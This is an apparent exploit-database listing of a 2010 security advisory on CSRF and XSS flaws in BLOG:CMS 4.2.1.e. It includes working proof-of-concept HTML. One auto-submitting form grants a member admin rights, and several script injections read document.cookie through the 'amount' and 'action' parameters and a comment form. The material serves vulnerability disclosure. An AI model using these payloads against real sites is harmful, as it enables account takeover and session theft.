Author

High-Tech Bridge

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-15193

Category

web applications

Date add

16-12-2010

Platform

php

Product: BLOG:CMS
Vendor: Radek Hulán ( http://blogcms.com/ )
Vulnerable Version: 4.2.1.e and probably prior versions
Vendor Notification: 30 November 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
 
XSRF/CSRF:
Vulnerability Details:
The vulnerability exists due to failure in the "admin/libs/ADMIN.php" script to properly verify the source of HTTP request.
 
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
Attacker can use browser to exploit this vulnerability. The following PoC is available:
 
 
<form action="http://host/admin/index.php" method="post" name="main">
<input type="hidden" name="action" value="changemembersettings">
<input type="hidden" name="memberid" value="USER_UD">
<input type="hidden" name="name" value="tester">
<input type="hidden" name="realname" value="tester">
<input type="hidden" name="password" value="">
<input type="hidden" name="repeatpassword" value="">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="url" value="">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="canlogin" value="1">
<input type="hidden" name="notes" value="">
<input type="hidden" name="deflang" value="">
</form>
<script>
document.main.submit();
</script>
 
 
Stored XSS (HTB22724):
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the "action.php" script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. Enter comment like <script>alert('XSS')</script> in "Add new comment" form.
 
 
XSS (HTB22725):
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "amount" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://host/admin/index.php" method="post" name="main">
<input type="hidden" name="blogid" value="0">
<input type="hidden" name="itemid" value="0">
<input type="hidden" name="action" value="browseowncomments">
<input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'>
<input type="hidden" name="start" value="0">
<input type="hidden" name="search" value="">
</form>
<script>
document.main.submit();
</script>
 
Solution: Upgrade to the most recent version
 
 
XSS(HTB22726):
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "action" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
http://host/admin/index.php?action=settingsedit"><script>alert(document.cookie)</script>
Solution: Upgrade to the most recent version



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